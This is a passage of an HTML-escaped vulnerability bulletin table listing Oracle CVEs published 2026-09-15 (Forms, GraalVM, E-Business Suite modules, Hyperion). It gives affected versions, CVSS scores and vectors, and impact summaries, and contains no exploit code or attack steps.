&lt;td&gt;Vulnerability in the Oracle Financials Common Modules product of Oracle E-Business Suite (component: Common Components). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Financials Common Modules. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Financials Common Modules accessible data as well as unauthorized access to critical data or complete access to all Oracle Financials Common Modules accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83446&quot; target=&quot;_blank&quot;&gt;CVE-2026-83446&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Financials for Asia/Pacific&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Financials for Asia/Pacific product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.8-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Financials for Asia/Pacific. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Financials for Asia/Pacific accessible data as well as unauthorized access to critical data or complete access to all Oracle Financials for Asia/Pacific accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Financials for Asia/Pacific. CVSS 3.1 Base Score 8.3 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87125&quot; target=&quot;_blank&quot;&gt;CVE-2026-87125&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Forms&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Forms product of Oracle Fusion Middleware (component: Forms Services, C/S, Charmode). Supported versions that are affected are 12.2.1.19.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Forms. While the vulnerability is in Oracle Forms, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Forms. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83099&quot; target=&quot;_blank&quot;&gt;CVE-2026-83099&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Forms&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Forms product of Oracle Fusion Middleware (component: Forms Services, C/S, Charmode). Supported versions that are affected are 12.2.1.19.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Forms. Successful attacks of this vulnerability can result in takeover of Oracle Forms. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83094&quot; target=&quot;_blank&quot;&gt;CVE-2026-83094&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Forms&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Forms product of Oracle Fusion Middleware (component: Forms Services, C/S, Charmode). Supported versions that are affected are 12.2.1.19.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Forms. Successful attacks of this vulnerability can result in takeover of Oracle Forms. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83095&quot; target=&quot;_blank&quot;&gt;CVE-2026-83095&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Forms&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Forms product of Oracle Fusion Middleware (component: Forms Services, C/S, Charmode). Supported versions that are affected are 12.2.1.19.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Forms. Successful attacks of this vulnerability can result in takeover of Oracle Forms. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83098&quot; target=&quot;_blank&quot;&gt;CVE-2026-83098&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Forms&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Forms product of Oracle Fusion Middleware (component: Forms Services, C/S, Charmode). Supported versions that are affected are 12.2.1.19.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Forms. Successful attacks of this vulnerability can result in takeover of Oracle Forms. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83100&quot; target=&quot;_blank&quot;&gt;CVE-2026-83100&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Forms&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Forms product of Oracle Fusion Middleware (component: Forms Services, C/S, Charmode). Supported versions that are affected are 12.2.1.19.0 and 14.1.2.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Forms. While the vulnerability is in Oracle Forms, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Forms. CVSS 3.1 Base Score 9.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83103&quot; target=&quot;_blank&quot;&gt;CVE-2026-83103&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Forms&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Forms product of Oracle Fusion Middleware (component: Forms Services, C/S, Charmode). Supported versions that are affected are 12.2.1.19.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Forms. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Forms accessible data as well as unauthorized access to critical data or complete access to all Oracle Forms accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83104&quot; target=&quot;_blank&quot;&gt;CVE-2026-83104&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Forms&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Forms product of Oracle Fusion Middleware (component: Forms Services, C/S, Charmode). Supported versions that are affected are 12.2.1.19.0 and 14.1.2.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Forms. While the vulnerability is in Oracle Forms, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Forms. CVSS 3.1 Base Score 9.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83105&quot; target=&quot;_blank&quot;&gt;CVE-2026-83105&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Forms&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Forms product of Oracle Fusion Middleware (component: Forms Services, C/S, Charmode). Supported versions that are affected are 12.2.1.19.0 and 14.1.2.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Forms. While the vulnerability is in Oracle Forms, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Forms. CVSS 3.1 Base Score 9.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83107&quot; target=&quot;_blank&quot;&gt;CVE-2026-83107&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Forms&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Forms product of Oracle Fusion Middleware (component: Forms Services, C/S, Charmode). Supported versions that are affected are 12.2.1.19.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Forms. Successful attacks of this vulnerability can result in takeover of Oracle Forms. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83108&quot; target=&quot;_blank&quot;&gt;CVE-2026-83108&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Forms&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Forms product of Oracle Fusion Middleware (component: Forms Services, C/S, Charmode). Supported versions that are affected are 12.2.1.19.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Forms. While the vulnerability is in Oracle Forms, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Forms accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83093&quot; target=&quot;_blank&quot;&gt;CVE-2026-83093&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Forms&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Forms product of Oracle Fusion Middleware (component: Forms Services, C/S, Charmode). Supported versions that are affected are 12.2.1.19.0 and 14.1.2.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Forms. Successful attacks of this vulnerability can result in takeover of Oracle Forms. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83101&quot; target=&quot;_blank&quot;&gt;CVE-2026-83101&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Forms&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Forms product of Oracle Fusion Middleware (component: Forms Services, C/S, Charmode). Supported versions that are affected are 12.2.1.19.0 and 14.1.2.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Forms. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Forms, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Forms accessible data as well as unauthorized access to critical data or complete access to all Oracle Forms accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Forms. CVSS 3.1 Base Score 7.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83096&quot; target=&quot;_blank&quot;&gt;CVE-2026-83096&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Forms&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Forms product of Oracle Fusion Middleware (component: Forms Services, C/S, Charmode). Supported versions that are affected are 12.2.1.19.0 and 14.1.2.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Forms. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Forms accessible data as well as unauthorized access to critical data or complete access to all Oracle Forms accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83102&quot; target=&quot;_blank&quot;&gt;CVE-2026-83102&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Forms&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Forms product of Oracle Fusion Middleware (component: Forms Services, C/S, Charmode). Supported versions that are affected are 12.2.1.19.0 and 14.1.2.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Forms. Successful attacks of this vulnerability can result in takeover of Oracle Forms. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83106&quot; target=&quot;_blank&quot;&gt;CVE-2026-83106&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Fusion Middleware Control&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Fusion Middleware Control product of Oracle Fusion Middleware (component: Framework). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Fusion Middleware Control. Successful attacks of this vulnerability can result in takeover of Oracle Fusion Middleware Control. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83069&quot; target=&quot;_blank&quot;&gt;CVE-2026-83069&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle GraalVM&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle GraalVM product of Oracle Java SE (component: Compiler). The supported version that is affected is Oracle GraalVM: 25.0.4.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle GraalVM. Successful attacks of this vulnerability can result in takeover of Oracle GraalVM. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87286&quot; target=&quot;_blank&quot;&gt;CVE-2026-87286&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle GraalVM&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle GraalVM product of Oracle Java SE (component: Compiler). The supported version that is affected is Oracle GraalVM: 25.0.4.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle GraalVM. Successful attacks of this vulnerability can result in takeover of Oracle GraalVM. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87287&quot; target=&quot;_blank&quot;&gt;CVE-2026-87287&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle GraalVM&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle GraalVM product of Oracle Java SE (component: Compiler). The supported version that is affected is Oracle GraalVM: 25.0.4.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle GraalVM. Successful attacks of this vulnerability can result in takeover of Oracle GraalVM. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87288&quot; target=&quot;_blank&quot;&gt;CVE-2026-87288&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle GraalVM for JDK, Oracle GraalVM&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle GraalVM for JDK, Oracle GraalVM product of Oracle Java SE (component: Compiler). The supported version that is affected is Oracle GraalVM for JDK 17: 23.0.13.1; Oracle GraalVM for JDK 21: 23.1.12.1; Oracle GraalVM: 25.0.4.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle GraalVM for JDK, Oracle GraalVM. Successful attacks of this vulnerability can result in takeover of Oracle GraalVM for JDK, Oracle GraalVM. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83357&quot; target=&quot;_blank&quot;&gt;CVE-2026-83357&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle GraalVM for JDK, Oracle GraalVM&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle GraalVM for JDK, Oracle GraalVM product of Oracle Java SE (component: Compiler). The supported version that is affected is Oracle GraalVM for JDK 17: 23.0.13.1; Oracle GraalVM for JDK 21: 23.1.12.1; Oracle GraalVM: 25.0.4.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle GraalVM for JDK, Oracle GraalVM. Successful attacks of this vulnerability can result in takeover of Oracle GraalVM for JDK, Oracle GraalVM. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83408&quot; target=&quot;_blank&quot;&gt;CVE-2026-83408&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition, Oracle GraalVM&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition, Oracle GraalVM product of Oracle Java SE (component: Compiler). The supported version that is affected is Oracle GraalVM for JDK 17: 23.0.13.1; Oracle GraalVM for JDK 21: 23.1.12.1; Oracle GraalVM Enterprise Edition: 21.3.19.1; Oracle GraalVM: 25.0.4.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition, Oracle GraalVM. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition, Oracle GraalVM accessible data as well as unauthorized update, insert or delete access to some of Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition, Oracle GraalVM accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition, Oracle GraalVM. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83368&quot; target=&quot;_blank&quot;&gt;CVE-2026-83368&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle HRMS (India)&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle HRMS (India) product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle HRMS (India). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle HRMS (India) accessible data as well as unauthorized access to critical data or complete access to all Oracle HRMS (India) accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87159&quot; target=&quot;_blank&quot;&gt;CVE-2026-87159&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle HRMS (India)&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle HRMS (India) product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle HRMS (India). While the vulnerability is in Oracle HRMS (India), attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle HRMS (India) accessible data as well as unauthorized update, insert or delete access to some of Oracle HRMS (India) accessible data. CVSS 3.1 Base Score 8.5 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87161&quot; target=&quot;_blank&quot;&gt;CVE-2026-87161&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle HRMS (India)&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle HRMS (India) product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle HRMS (India). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle HRMS (India) accessible data as well as unauthorized update, insert or delete access to some of Oracle HRMS (India) accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87160&quot; target=&quot;_blank&quot;&gt;CVE-2026-87160&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Data Relationship Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Data Relationship Management product of Oracle Hyperion (component: Access and security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Hyperion Data Relationship Management. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Hyperion Data Relationship Management accessible data as well as unauthorized access to critical data or complete access to all Oracle Hyperion Data Relationship Management accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87128&quot; target=&quot;_blank&quot;&gt;CVE-2026-87128&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Data Relationship Management&lt;/td&gt;
